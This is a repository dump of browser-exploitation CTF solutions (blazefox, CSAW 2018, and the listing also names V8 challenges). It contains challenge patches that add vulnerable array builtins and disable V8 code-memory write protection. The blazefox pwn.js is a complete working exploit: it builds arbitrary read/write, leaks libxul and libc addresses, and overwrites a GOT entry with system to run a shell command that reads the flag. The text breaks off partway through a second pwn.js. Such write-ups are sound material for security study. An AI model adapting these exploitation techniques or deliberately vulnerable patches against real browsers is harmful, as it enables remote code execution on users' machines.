├── README.md ├── blazefox ├── blaze.patch ├── blazefox-readme.txt └── pwn.js ├── csaw-2018 ├── csaw-readme.txt ├── csaw.patch ├── pwn.js └── spec.md ├── just-in-time ├── README ├── addition-reducer.patch └── pwn.js ├── krautflare ├── Dockerfile ├── build_v8.sh ├── d8-strip-globals.patch ├── open_files_readonly.patch ├── pwn.js ├── revert-bugfix-880207.patch └── worker.js ├── mr-mojo-rising ├── Dockerfile ├── bigfile.txt ├── index.html ├── mojo.gdb ├── mojo.patch ├── pagesized.txt ├── pwn.js ├── pwn2.js ├── pwn3.js ├── service.py ├── sw.js └── util.js ├── roll-a-d8 ├── pwn.js ├── readme.txt └── regress-821137.js └── v9 ├── pwn.js ├── readme-v9.txt └── v9_7.0.patch /README.md: -------------------------------------------------------------------------------- 1 | Advent 2018 - Browser Pwning 2 | --- 3 | 4 | This is my advent calendar for 2018 which is all about browser pwning. You can view the 5 | calendar directly on the adventar website: https://adventar.org/calendars/3435, 6 | and read me blog post about it [here](https://nafod.net/blog/2019/02/13/advent-browserpwn-2018.html) 7 | 8 | Everything was developed and targeted to my local system, which is: 9 | ``` 10 | vagrant@ubuntu-artful:~$ uname -a 11 | Linux ubuntu-artful 4.13.0-46-generic #51-Ubuntu SMP Tue Jun 12 12:36:29 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux 12 | vagrant@ubuntu-artful:~$ lsb_release -a 13 | No LSB modules are available. 14 | Distributor ID: Ubuntu 15 | Description: Ubuntu 17.10 16 | Release: 17.10 17 | Codename: artful 18 | ``` 19 | 20 | Below is the current status of my challenges: 21 | 22 | 12/01 cmalekpour 23 | blazefox 2018 (SOLVED) 24 | 25 | 12/03 cmalekpour 26 | csaw 2018 chrome challenge (SOLVED) 27 | 28 | 12/05 cmalekpour 29 | learning v8 (reading) 30 | 31 | 12/07 cmalekpour 32 | plaidctf 2018 roll a d8 (SOLVED) 33 | 34 | 12/10 cmalekpour 35 | 34c3 ctf v9 challenge (SOLVED) 36 | 37 | note: for this challenge I used saelo's `v9_7.0.patch` patchfile, targetting v8 7.0.276.28 38 | I believe the challenge was originally run with v8 version 6.3.292.48. however, I figured 39 | the later version would be more relevant. 40 | 41 | ??? 42 | 35c3 krautflare (SOLVED) 43 | 44 | took some time from the rest of my schedule to work on this one, ended up solving it a few days 45 | after the competition ended. s/o to others online for letting me know about webassembly rwx jit 46 | buffers. 47 | 48 | 12/14 cmalekpour 49 | awesome-browser-exploit (reading) 50 | 51 | 12/17 cmalekpour 52 | googlectf finals 2018 just in time (SOLVED) 53 | 54 | note: for this challenge I targeted the following commit, to which the patch applied 55 | cleanly. I didn't verify that this is what the challenge used, but it looks likely to me. 56 | Also, I didn't target full chrome since I was too lazy to build it. Therefore, I passed 57 | `--no-unsafe-code-mitigations` to v8 to emulate the behavior chrome would have with process 58 | isolation enabled (which turns that 'protection' off in v8). 59 | ``` 60 | commit 6bfe386658b720ddb44e7723e056bd7f11ce2fab (tag: 7.0.276.26) 61 | Author: V8 Autoroll 62 | Date: Mon Oct 8 06:50:39 2018 -0700 63 | 64 | Version 7.0.276.26 65 | ``` 66 | 67 | 12/24 cmalekpour 68 | googlectf 2018 finals mr mojo rising (SOLVED) 69 | You can see a little asciinema of it landing here: https://asciinema.org/a/7SqpxsaqlwqvMmydvBOkSI6Mp 70 | 71 | useful gdb stuff 72 | --- 73 | 74 | ``` 75 | set detach-on-fork off 76 | set schedule-multiple on 77 | set follow-fork-mode parent 78 | set non-stop on 79 | set target-async on 80 | set print symbol-loading off 81 | ``` 82 | -------------------------------------------------------------------------------- /blazefox/blaze.patch: -------------------------------------------------------------------------------- 1 | diff -r ee6283795f41 js/src/builtin/Array.cpp 2 | --- a/js/src/builtin/Array.cpp Sat Apr 07 00:55:15 2018 +0300 3 | +++ b/js/src/builtin/Array.cpp Sun Apr 08 00:01:23 2018 +0000 4 | @@ -192,6 +192,20 @@ 5 | return ToLength(cx, value, lengthp); 6 | } 7 | 8 | +static MOZ_ALWAYS_INLINE bool 9 | +BlazeSetLengthProperty(JSContext* cx, HandleObject obj, uint64_t length) 10 | +{ 11 | + if (obj->is()) { 12 | + obj->as().setLengthInt32(length); 13 | + obj->as().setCapacityInt32(length); 14 | + obj->as().setInitializedLengthInt32(length); 15 | + return true; 16 | + } 17 | + return false; 18 | +} 19 | + 20 | + 21 | + 22 | /* 23 | * Determine if the id represents an array index. 24 | * 25 | @@ -1578,6 +1592,23 @@ 26 | return DenseElementResult::Success; 27 | } 28 | 29 | +bool js::array_blaze(JSContext* cx, unsigned argc, Value* vp) 30 | +{ 31 | + CallArgs args = CallArgsFromVp(argc, vp); 32 | + RootedObject obj(cx, ToObject(cx, args.thisv())); 33 | + if (!obj) 34 | + return false; 35 | + 36 | + if (!BlazeSetLengthProperty(cx, obj, 420)) 37 | + return false; 38 | + 39 | + //uint64_t l = obj.as().setLength(cx, 420); 40 | + 41 | + args.rval().setObject(*obj); 42 | + return true; 43 | +} 44 | + 45 | + 46 | // ES2017 draft rev 1b0184bc17fc09a8ddcf4aeec9b6d9fcac4eafce 47 | // 22.1.3.21 Array.prototype.reverse ( ) 48 | bool 49 | @@ -3511,6 +3542,8 @@ 50 | JS_FN("unshift", array_unshift, 1,0), 51 | JS_FNINFO("splice", array_splice, &array_splice_info, 2,0), 52 | 53 | + JS_FN("blaze", array_blaze, 0,0), 54 | + 55 | /* Pythonic sequence methods. */ 56 | JS_SELF_HOSTED_FN("concat", "ArrayConcat", 1,0), 57 | JS_INLINABLE_FN("slice", array_slice, 2,0, ArraySlice), 58 | diff -r ee6283795f41 js/src/builtin/Array.h 59 | --- a/js/src/builtin/Array.h Sat Apr 07 00:55:15 2018 +0300 60 | +++ b/js/src/builtin/Array.h Sun Apr 08 00:01:23 2018 +0000 61 | @@ -166,6 +166,9 @@ 62 | array_reverse(JSContext* cx, unsigned argc, js::Value* vp); 63 | 64 | extern bool 65 | +array_blaze(JSContext* cx, unsigned argc, js::Value* vp); 66 | + 67 | +extern bool 68 | array_splice(JSContext* cx, unsigned argc, js::Value* vp); 69 | 70 | extern const JSJitInfo array_splice_info; 71 | diff -r ee6283795f41 js/src/vm/ArrayObject.h 72 | --- a/js/src/vm/ArrayObject.h Sat Apr 07 00:55:15 2018 +0300 73 | +++ b/js/src/vm/ArrayObject.h Sun Apr 08 00:01:23 2018 +0000 74 | @@ -60,6 +60,14 @@ 75 | getElementsHeader()->length = length; 76 | } 77 | 78 | + void setCapacityInt32(uint32_t length) { 79 | + getElementsHeader()->capacity = length; 80 | + } 81 | + 82 | + void setInitializedLengthInt32(uint32_t length) { 83 | + getElementsHeader()->initializedLength = length; 84 | + } 85 | + 86 | // Make an array object with the specified initial state. 87 | static inline ArrayObject* 88 | createArray(JSContext* cx, 89 | -------------------------------------------------------------------------------- /blazefox/blazefox-readme.txt: -------------------------------------------------------------------------------- 1 | This is a standard build of firefox nightly pulled on 4/6. 2 | 3 | How it was built: 4 | Following https://developer.mozilla.org/en-US/docs/Mozilla/Developer_guide/Build_Instructions/Simple_Firefox_build/Linux_and_MacOS_build_preparation 5 | 6 | python bootstrap.py 7 | hg clone https://hg.mozilla.org/mozilla-central 8 | hg checkout ee6283795f41 9 | hg import blaze.patch --no-commit 10 | ./mach build 11 | 12 | We run it in the docker container with 13 | /firefox/dist/bin/firefox --headless 14 | The container has a profile to disable sandboxing, you're welcome 15 | 16 | The flag is in /flag in the container. 17 | 18 | 19 | -------------------------------------------------------------------------------- /blazefox/pwn.js: -------------------------------------------------------------------------------- 1 | // 2 | // Tiny module that provides big (64bit) integers. 3 | // 4 | // Copyright (c) 2016 Samuel Groß 5 | // 6 | // Requires utils.js 7 | // 8 | 9 | // Datatype to represent 64-bit integers. 10 | // 11 | // Internally, the integer is stored as a Uint8Array in little endian byte order. 12 | // 13 | // Utility functions. 14 | // 15 | // Copyright (c) 2016 Samuel Groß 16 | // 17 | 18 | // Return the hexadecimal representation of the given byte. 19 | function hex(b) { 20 | return ('0' + b.toString(16)).substr(-2); 21 | } 22 | 23 | // Return the hexadecimal representation of the given byte array. 24 | function hexlify(bytes) { 25 | var res = []; 26 | for (var i = 0; i < bytes.length; i++) 27 | res.push(hex(bytes[i])); 28 | 29 | return res.join(''); 30 | } 31 | 32 | // Return the binary data represented by the given hexdecimal string. 33 | function unhexlify(hexstr) { 34 | if (hexstr.length % 2 == 1) 35 | throw new TypeError("Invalid hex string"); 36 | 37 | var bytes = new Uint8Array(hexstr.length / 2); 38 | for (var i = 0; i < hexstr.length; i += 2) 39 | bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); 40 | 41 | return bytes; 42 | } 43 | 44 | function hexdump(data) { 45 | if (typeof data.BYTES_PER_ELEMENT !== 'undefined') 46 | data = Array.from(data); 47 | 48 | var lines = []; 49 | for (var i = 0; i < data.length; i += 16) { 50 | var chunk = data.slice(i, i+16); 51 | var parts = chunk.map(hex); 52 | if (parts.length > 8) 53 | parts.splice(8, 0, ' '); 54 | lines.push(parts.join(' ')); 55 | } 56 | 57 | return lines.join('\n'); 58 | } 59 | 60 | // Simplified version of the similarly named python module. 61 | var Struct = (function() { 62 | // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. 63 | var buffer = new ArrayBuffer(8); 64 | var byteView = new Uint8Array(buffer); 65 | var uint32View = new Uint32Array(buffer); 66 | var float64View = new Float64Array(buffer); 67 | 68 | return { 69 | pack: function(type, value) { 70 | var view = type; // See below 71 | view[0] = value; 72 | return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); 73 | }, 74 | 75 | unpack: function(type, bytes) { 76 | if (bytes.length !== type.BYTES_PER_ELEMENT) 77 | throw Error("Invalid bytearray"); 78 | 79 | var view = type; // See below 80 | byteView.set(bytes); 81 | return view[0]; 82 | }, 83 | 84 | // Available types. 85 | int8: byteView, 86 | int32: uint32View, 87 | float64: float64View 88 | }; 89 | })(); 90 | 91 | function Int64(v) { 92 | // The underlying byte array. 93 | var bytes = new Uint8Array(8); 94 | 95 | switch (typeof v) { 96 | case 'number': 97 | v = '0x' + Math.floor(v).toString(16); 98 | case 'string': 99 | if (v.startsWith('0x')) 100 | v = v.substr(2); 101 | if (v.length % 2 == 1) 102 | v = '0' + v; 103 | 104 | var bigEndian = unhexlify(v, 8); 105 | bytes.set(Array.from(bigEndian).reverse()); 106 | break; 107 | case 'object': 108 | if (v instanceof Int64) { 109 | bytes.set(v.bytes()); 110 | } else { 111 | if (v.length != 8) 112 | throw TypeError("Array must have excactly 8 elements."); 113 | bytes.set(v); 114 | } 115 | break; 116 | case 'undefined': 117 | break; 118 | default: 119 | throw TypeError("Int64 constructor requires an argument."); 120 | } 121 | 122 | // Return a double whith the same underlying bit representation. 123 | this.asDouble = function() { 124 | // Check for NaN 125 | if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) 126 | throw new RangeError("Integer can not be represented by a double"); 127 | 128 | return Struct.unpack(Struct.float64, bytes); 129 | }; 130 | 131 | // Return a javascript value with the same underlying bit representation. 132 | // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) 133 | // due to double conversion constraints. 134 | this.asJSValue = function() { 135 | if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) 136 | throw new RangeError("Integer can not be represented by a JSValue"); 137 | 138 | // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. 139 | this.assignSub(this, 0x1000000000000); 140 | var res = Struct.unpack(Struct.float64, bytes); 141 | this.assignAdd(this, 0x1000000000000); 142 | 143 | return res; 144 | }; 145 | 146 | this.lower = function() { 147 | return bytes[0] + 256 * bytes[1] + 256*256*bytes[2] + 256*256*256*bytes[3]; 148 | }; 149 | 150 | this.upper = function() { 151 | return bytes[4] + 256 * bytes[5] + 256*256*bytes[6] + 256*256*256*bytes[7]; 152 | }; 153 | 154 | // Return the underlying bytes of this number as array. 155 | this.bytes = function() { 156 | return Array.from(bytes); 157 | }; 158 | 159 | // Return the byte at the given index. 160 | this.byteAt = function(i) { 161 | return bytes[i]; 162 | }; 163 | 164 | // Return the value of this number as unsigned hex string. 165 | this.toString = function() { 166 | return '0x' + hexlify(Array.from(bytes).reverse()); 167 | }; 168 | 169 | // Basic arithmetic. 170 | // These functions assign the result of the computation to their 'this' object. 171 | 172 | // Decorator for Int64 instance operations. Takes care 173 | // of converting arguments to Int64 instances if required. 174 | function operation(f, nargs) { 175 | return function() { 176 | if (arguments.length != nargs) 177 | throw Error("Not enough arguments for function " + f.name); 178 | for (var i = 0; i < arguments.length; i++) 179 | if (!(arguments[i] instanceof Int64)) 180 | arguments[i] = new Int64(arguments[i]); 181 | return f.apply(this, arguments); 182 | }; 183 | } 184 | 185 | // this = -n (two's complement) 186 | this.assignNeg = operation(function neg(n) { 187 | for (var i = 0; i < 8; i++) 188 | bytes[i] = ~n.byteAt(i); 189 | 190 | return this.assignAdd(this, Int64.One); 191 | }, 1); 192 | 193 | // this = a + b 194 | this.assignAdd = operation(function add(a, b) { 195 | var carry = 0; 196 | for (var i = 0; i < 8; i++) { 197 | var cur = a.byteAt(i) + b.byteAt(i) + carry; 198 | carry = cur > 0xff | 0; 199 | bytes[i] = cur; 200 | } 201 | return this; 202 | }, 2); 203 | 204 | // this = a - b 205 | this.assignSub = operation(function sub(a, b) { 206 | var carry = 0; 207 | for (var i = 0; i < 8; i++) { 208 | var cur = a.byteAt(i) - b.byteAt(i) - carry; 209 | carry = cur < 0 | 0; 210 | bytes[i] = cur; 211 | } 212 | return this; 213 | }, 2); 214 | } 215 | 216 | // Constructs a new Int64 instance with the same bit representation as the provided double. 217 | Int64.fromDouble = function(d) { 218 | var bytes = Struct.pack(Struct.float64, d); 219 | return new Int64(bytes); 220 | }; 221 | 222 | // Convenience functions. These allocate a new Int64 to hold the result. 223 | 224 | // Return -n (two's complement) 225 | function Neg(n) { 226 | return (new Int64()).assignNeg(n); 227 | } 228 | 229 | // Return a + b 230 | function Add(a, b) { 231 | return (new Int64()).assignAdd(a, b); 232 | } 233 | 234 | // Return a - b 235 | function Sub(a, b) { 236 | return (new Int64()).assignSub(a, b); 237 | } 238 | 239 | // Some commonly used numbers. 240 | Int64.Zero = new Int64(0); 241 | Int64.One = new Int64(1); 242 | 243 | /* exploit for blazefox */ 244 | 245 | // allocate our victim array 246 | var first = new Array(100); 247 | for (x = 0; x < 100; x++) { 248 | first[x] = 0; 249 | } 250 | 251 | // this will be our target buffer 252 | var second = new Uint8Array(100); 253 | for (x = 0; x < second.length; x++) { 254 | second[x] = 0x41; 255 | } 256 | 257 | // blaze the first one 258 | first.blaze(); 259 | 260 | var _arraybuf = 0; 261 | 262 | // go through and find the arraybuffer size 263 | var leaks = []; 264 | y = 100; 265 | while (y < 400) { 266 | console.log(y); 267 | console.log(Int64.fromDouble(first[y]).toString()); 268 | console.log(first[y]); 269 | if (first[y] == 100) { 270 | console.log("found ArrayBuffer"); 271 | break; 272 | } 273 | y += 1; 274 | } 275 | 276 | // save arraybuf index 277 | _arraybuf = y + 2; 278 | 279 | // set arraybuf length 280 | _arraybuf_len = y; 281 | 282 | console.log(second.length); 283 | 284 | console.log(_arraybuf); 285 | console.log(_arraybuf_len); 286 | 287 | // set up arb r/w 288 | function r64(addr) { 289 | first[_arraybuf] = addr.asDouble(); 290 | return new Int64(second.slice(0, 8)); 291 | } 292 | 293 | function w64(addr, value) { 294 | // initially trying this function, it seems like the browser 295 | // was optimizing the commented out loop to a memmove, which 296 | // was triggering via my GOT overwrite to go to a broken pointer. 297 | // by unrolling + reversing order, we seem to fool the optimizer. 298 | first[_arraybuf] = addr.asDouble(); 299 | var val = value.bytes(); 300 | second[7] = val[7]; 301 | second[6] = val[6]; 302 | second[5] = val[5]; 303 | second[4] = val[4]; 304 | second[3] = val[3]; 305 | second[2] = val[2]; 306 | second[1] = val[1]; 307 | second[0] = val[0]; 308 | 309 | /*for(x = 0; x < 8; x++) { 310 | second[x] = val[x]; 311 | }*/ 312 | } 313 | 314 | // print out some leaks, why not 315 | y = 100; 316 | while (y < 114) { 317 | console.log(y); 318 | console.log("\t" + Int64.fromDouble(first[y]).toString()); 319 | console.log("\t" + first[y]); 320 | y += 1; 321 | } 322 | 323 | // base address for libxul module from our leaked value 324 | var libxul_offset = new Int64([0x02, 0x02, 0xf6, 0x05, 325 | 0x00, 0x00, 0x00, 0x00]); 326 | 327 | // offset to strlen in libxul GOT 328 | // val = 0x818b0b0 329 | var got_offset = new Int64([0xb0, 0xb0, 0x18, 0x08, 330 | 0x00, 0x00, 0x00, 0x00]) 331 | 332 | // offset from strlen to libc base 333 | // val = 0x8b720 334 | var libc_offset = new Int64([0x20, 0xb7, 0x08, 0x00, 335 | 0x00, 0x00, 0x00, 0x00]); 336 | 337 | // offset to system from libc base 338 | // val = 0x45390 339 | var system_offset = new Int64([0x90, 0x53, 0x04, 0x00, 340 | 0x00, 0x00, 0x00, 0x00]); 341 | 342 | // target offset in libxul got 343 | // val = 0x818b220 (memmove) 344 | var target_offset = new Int64([0x20, 0xb2, 0x18, 0x08, 345 | 0x00, 0x00, 0x00, 0x00]); 346 | 347 | // grab the leak value ('shape' of the TypedArray) 348 | var xpointer = r64(Int64.fromDouble(first[100])); 349 | 350 | // get libxul base 351 | var libxul = Sub(r64(xpointer), libxul_offset); 352 | 353 | // get strlen's position in libxul got 354 | var strlen_got = Add(libxul, got_offset); 355 | 356 | // read strlen pointer and use it for libc base 357 | var libc = Sub(r64(strlen_got), libc_offset); 358 | 359 | // offset to system 360 | var system = Add(libc, system_offset); 361 | 362 | // get 'memmove' position in libxul got 363 | var target = Add(libxul, target_offset); 364 | 365 | // https://phoenhex.re/2017-06-21/firefox-structuredclone-refleak 366 | var blah = new Uint8Array(100); 367 | var cmd = "echo landed && cat /flag && pkill -9 firefox;"; 368 | for(x = 0; x < cmd.length; x++) { 369 | blah[x] = cmd.charCodeAt(x); 370 | } 371 | 372 | var saved = r64(target); 373 | 374 | // overwrite the value in the GOT 375 | w64(target, system); 376 | // from saelo, this should trigger system(cmd) via memmove(cmd, ..., ...) 377 | blah.copyWithin(0, 1); 378 | 379 | // no clean up here, so we will crash upon GC, which will likely happen 380 | // shortly after the exception we throw 381 | 382 | output = ""; 383 | output += " libxul:" + libxul.toString(); 384 | // 0x100000 385 | output += " strlen_got:" + strlen_got.toString(); 386 | output += " strlen:" + r64(strlen_got).toString(); 387 | output += " libc:" + libc.toString(); 388 | output += " system:" + system.toString(); 389 | output += " target:" + target.toString(); 390 | output += " saved:" + saved.toString(); 391 | output += " result:" + r64(target).toString(); 392 | 393 | throw output; 394 | 395 | console.log("ok looks good..."); 396 | 397 | console.log(second.length); 398 | 399 | console.log("done"); -------------------------------------------------------------------------------- /csaw-2018/csaw-readme.txt: -------------------------------------------------------------------------------- 1 | Hello! 2 | 3 | Welcome to pwn2csaw! 4 | 5 | To get this flag you will have to exploit a modified version of chrome. 6 | 7 | == Setup == 8 | 9 | The patch (csaw.patch) should apply cleanly to latest at the time of writing (11/6/2018) which is chromium 70.0.3538.77 and v8 7.0.276.32. (See https://omahaproxy.appspot.com/ for version info). 10 | 11 | I've provided you with a release build of Chrome (chrome_70.0.3538.77_csaw.tar.gz), a release build of v8 (v8_7.0.276.32_csaw.release.tar.gz) and a debug build of v8 (v8_7.0.276.32_csaw.debug.tar.gz). The debug build also has several DCHECKs disabled to help you write your exploit. 12 | 13 | 14 | If you want to build your own copy of v8 do the following: 15 | 16 | git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git 17 | export PATH=$PATH:$(pwd)/depot_tools 18 | fetch v8 && cd v8 19 | git checkout 7.0.276.32. 20 | gclient sync 21 | patch -p1 < ../csaw.patch 22 | ./tools/dev/v8gen.py x64.debug 23 | ninja -C out.gn/x64.debug 24 | 25 | You only actually really need v8 to solve this challenge, an exploit should translate very cleanly to chrome. However if you would like to build a debug chrome see https://chromium.googlesource.com/chromium/src/+/HEAD/docs/linux_build_instructions.md 26 | 27 | == Challenge == 28 | 29 | * North-America * 30 | If you are on-site in North-America Finals there is a machine setup with chrome. To get the flag you will need to come over and give us a HTTP/HTTPS URL to visit. There will be a flag if you run `/read_flag` but we will also give you the flag if you manage to pop gnome-calculator. Chrome will be run with `./chrome --no-sandbox` inside Ubuntu 18.04 Desktop 31 | 32 | * Other Sites * 33 | For non North-America sites, there is a service that will load a given url in chrome for you. To get the flag, run `/read_flag`. In this case chrome will be run with `./chrome --headless --disable-gpu --no-sandbox --virtual-time-budget=60000 ` within an ubuntu 18.04 docker container. A proof of work will be asked before chrome runs, but a proof of work solver is provided. 34 | 35 | 36 | -------------------------------------------------------------------------------- /csaw-2018/csaw.patch: -------------------------------------------------------------------------------- 1 | diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc 2 | index 30450b1..6d1fdb2 100644 3 | --- a/src/bootstrapper.cc 4 | +++ b/src/bootstrapper.cc 5 | @@ -1779,6 +1779,8 @@ void Genesis::InitializeGlobal(Handle global_object, 6 | false); 7 | SimpleInstallFunction(isolate_, proto, "reduceRight", 8 | Builtins::kArrayReduceRight, 1, false); 9 | + SimpleInstallFunction(isolate_, proto, "replaceIf", 10 | + Builtins::kArrayReplaceIf, 3, false); 11 | } 12 | 13 | { // --- A r r a y I t e r a t o r --- 14 | diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc 15 | index ceeee5f..2fdebd6 100644 16 | --- a/src/builtins/builtins-array.cc 17 | +++ b/src/builtins/builtins-array.cc 18 | @@ -1400,6 +1400,125 @@ MaybeHandle Fast_ArrayConcat(Isolate* isolate, 19 | 20 | } // namespace 21 | 22 | +BUILTIN(ArrayReplaceIf) { 23 | + HandleScope scope(isolate); 24 | + 25 | + if (args.length() < 4) 26 | + return isolate->heap()->ToBoolean(false); 27 | + 28 | + // 1. Let O be ? ToObject(this value). 29 | + Handle receiver; 30 | + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( 31 | + isolate, receiver, 32 | + Object::ToObject(isolate, args.receiver(), "Array.prototype.replaceIf")); 33 | + 34 | + // 2. Let len be ? ToLength(? Get(O, "length")). 35 | + int length; 36 | + Handle raw_length_number; 37 | + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( 38 | + isolate, raw_length_number, 39 | + Object::GetLengthFromArrayLike(isolate, receiver)); 40 | + 41 | + if (!ClampedToInteger(isolate, *raw_length_number, &length)) 42 | + return isolate->heap()->ToBoolean(false); 43 | + 44 | + // 3. Let n be ? ToInteger(arg[1]) 45 | + int index; 46 | + if (!ClampedToInteger(isolate, args[1], &index)) 47 | + return isolate->heap()->ToBoolean(false); 48 | + 49 | + // 4. If len < n return false 50 | + if (index >= length) 51 | + return isolate->heap()->ToBoolean(false); 52 | + 53 | + // 5. If IsCallable(callbackfn) is *false*, return false 54 | + if (!args[2]->IsCallable()) 55 | + return isolate->heap()->ToBoolean(false); 56 | + 57 | + Object* func_obj = args[2]; 58 | + Handle func(&func_obj); 59 | + 60 | + // If proxy make the target the receiver 61 | + // This is done for performance reasons. Proxied arrays would normally 62 | + // take the slow path, we bypass this to take the fast path 63 | + Handle array_object; 64 | + if (receiver->IsJSProxy()) { 65 | + Handle proxy = Handle::cast(receiver); 66 | + Handle obj(JSReceiver::cast(proxy->target()), isolate); 67 | + array_object = obj; 68 | + } else { 69 | + array_object = receiver; 70 | + } 71 | + 72 | + // Check if fast path can be taken 73 | + bool fast = EnsureJSArrayWithWritableFastElements(isolate, array_object, nullptr, 0, 0); 74 | + 75 | + // 6. Let e be ? Get(O, index) 76 | + Handle element; 77 | + if (fast) { 78 | + // Fast path (packed elements) 79 | + Handle array = Handle::cast(array_object); 80 | + ElementsAccessor* accessor = array->GetElementsAccessor(); 81 | + element = accessor->Get(array, index); 82 | + } else { 83 | + // Slow path 84 | + Handle index_str = isolate->factory()->NumberToString( 85 | + isolate->factory()->NewNumber(index)); 86 | + 87 | + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( 88 | + isolate, element, 89 | + Object::GetPropertyOrElement(isolate, array_object, index_str)); 90 | + } 91 | + 92 | + // 7. Let shouldReplace be ToBoolean(? Call(callbackfn,e)) 93 | + Handle argv[] = {element}; 94 | + Handle raw_should_replace; 95 | + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( 96 | + isolate, raw_should_replace, 97 | + Execution::Call(isolate, func, receiver, 1, argv)); 98 | + 99 | + bool should_replace = raw_should_replace->BooleanValue(isolate); 100 | + 101 | + // 8. If shouldReplace is false, return false 102 | + if (!should_replace) 103 | + return isolate->heap()->ToBoolean(false); 104 | + 105 | + // 9. Let len be ? ToLength(? Get(O, "length")). 106 | + // We check again to account for changes during the jscall 107 | + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( 108 | + isolate, raw_length_number, 109 | + Object::GetLengthFromArrayLike(isolate, receiver)); 110 | + 111 | + if (!ClampedToInteger(isolate, *raw_length_number, &length)) 112 | + return isolate->heap()->ToBoolean(false); 113 | + 114 | + // 10. If len < n return false 115 | + if (index >= length) 116 | + return isolate->heap()->ToBoolean(false); 117 | + 118 | + // Check if fast path can be taken 119 | + // We check again to account for changes during the jscall 120 | + fast = EnsureJSArrayWithWritableFastElements(isolate, array_object, nullptr, 0, 0); 121 | + 122 | + // 11. Perform Set(O, n, replacement) 123 | + if (fast) { 124 | + // Fast path (packed elements) 125 | + Handle array = Handle::cast(array_object); 126 | + ElementsAccessor* accessor = array->GetElementsAccessor(); 127 | + accessor->Set(array, index, args[3]); 128 | + } else { 129 | + // Slow path 130 | + Handle index_str = isolate->factory()->NumberToString( 131 | + isolate->factory()->NewNumber(index)); 132 | + Handle new_obj(&args[3]); 133 | + RETURN_FAILURE_ON_EXCEPTION( 134 | + isolate, 135 | + Object::SetPropertyOrElement(isolate, array_object, index_str, new_obj, LanguageMode::kStrict)); 136 | + } 137 | + // 12. Return true 138 | + return isolate->heap()->ToBoolean(true); 139 | +} 140 | + 141 | // ES6 22.1.3.1 Array.prototype.concat 142 | BUILTIN(ArrayConcat) { 143 | HandleScope scope(isolate); 144 | diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h 145 | index 62765b8..b4cf469 100644 146 | --- a/src/builtins/builtins-definitions.h 147 | +++ b/src/builtins/builtins-definitions.h 148 | @@ -415,6 +415,7 @@ namespace internal { 149 | TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ 150 | /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \ 151 | TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ 152 | + CPP(ArrayReplaceIf) \ 153 | \ 154 | /* ArrayBuffer */ \ 155 | /* ES #sec-arraybuffer-constructor */ \ 156 | diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc 157 | index 7627d27..0fdccf5 100644 158 | --- a/src/compiler/typer.cc 159 | +++ b/src/compiler/typer.cc 160 | @@ -1601,6 +1601,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { 161 | return Type::Receiver(); 162 | case BuiltinFunctionId::kArrayUnshift: 163 | return t->cache_.kPositiveSafeInteger; 164 | + case BuiltinFunctionId::kArrayReplaceIf: 165 | + return Type::Boolean(); 166 | 167 | // ArrayBuffer functions. 168 | case BuiltinFunctionId::kArrayBufferIsView: 169 | diff --git a/src/flag-definitions.h b/src/flag-definitions.h 170 | index 69ec747..777a22b 100644 171 | --- a/src/flag-definitions.h 172 | +++ b/src/flag-definitions.h 173 | @@ -705,12 +705,7 @@ DEFINE_BOOL(incremental_marking_wrappers, true, 174 | DEFINE_BOOL(trace_unmapper, false, "Trace the unmapping") 175 | DEFINE_BOOL(parallel_scavenge, true, "parallel scavenge") 176 | DEFINE_BOOL(trace_parallel_scavenge, false, "trace parallel scavenge") 177 | -#if defined(V8_TARGET_ARCH_ARM) || defined(V8_TARGET_ARCH_ARM64) 178 | -#define V8_WRITE_PROTECT_CODE_MEMORY_BOOL false 179 | -#else 180 | -#define V8_WRITE_PROTECT_CODE_MEMORY_BOOL true 181 | -#endif 182 | -DEFINE_BOOL(write_protect_code_memory, V8_WRITE_PROTECT_CODE_MEMORY_BOOL, 183 | +DEFINE_BOOL(write_protect_code_memory, false, 184 | "write protect code memory") 185 | #ifdef V8_CONCURRENT_MARKING 186 | #define V8_CONCURRENT_MARKING_BOOL true 187 | diff --git a/src/objects.h b/src/objects.h 188 | index c848e92..8877921 100644 189 | --- a/src/objects.h 190 | +++ b/src/objects.h 191 | @@ -2959,6 +2959,7 @@ class AsyncGeneratorRequest : public Struct { 192 | V(Array.prototype, some, ArraySome) \ 193 | V(Array.prototype, splice, ArraySplice) \ 194 | V(Array.prototype, unshift, ArrayUnshift) \ 195 | + V(Array.prototype, replaceIf, ArrayReplaceIf) \ 196 | V(Date, now, DateNow) \ 197 | V(Date.prototype, getDate, DateGetDate) \ 198 | V(Date.prototype, getDay, DateGetDay) \ 199 | -------------------------------------------------------------------------------- /csaw-2018/pwn.js: -------------------------------------------------------------------------------- 1 | // 2 | // Tiny module that provides big (64bit) integers. 3 | // 4 | // Copyright (c) 2016 Samuel Groß 5 | // 6 | // Requires utils.js 7 | // 8 | 9 | // Datatype to represent 64-bit integers. 10 | // 11 | // Internally, the integer is stored as a Uint8Array in little endian byte order. 12 | // 13 | // Utility functions. 14 | // 15 | // Copyright (c) 2016 Samuel Groß 16 | // 17 | 18 | // Return the hexadecimal representation of the given byte. 19 | function hex(b) { 20 | return ('0' + b.toString(16)).substr(-2); 21 | } 22 | 23 | // Return the hexadecimal representation of the given byte array. 24 | function hexlify(bytes) { 25 | var res = []; 26 | for (var i = 0; i < bytes.length; i++) 27 | res.push(hex(bytes[i])); 28 | 29 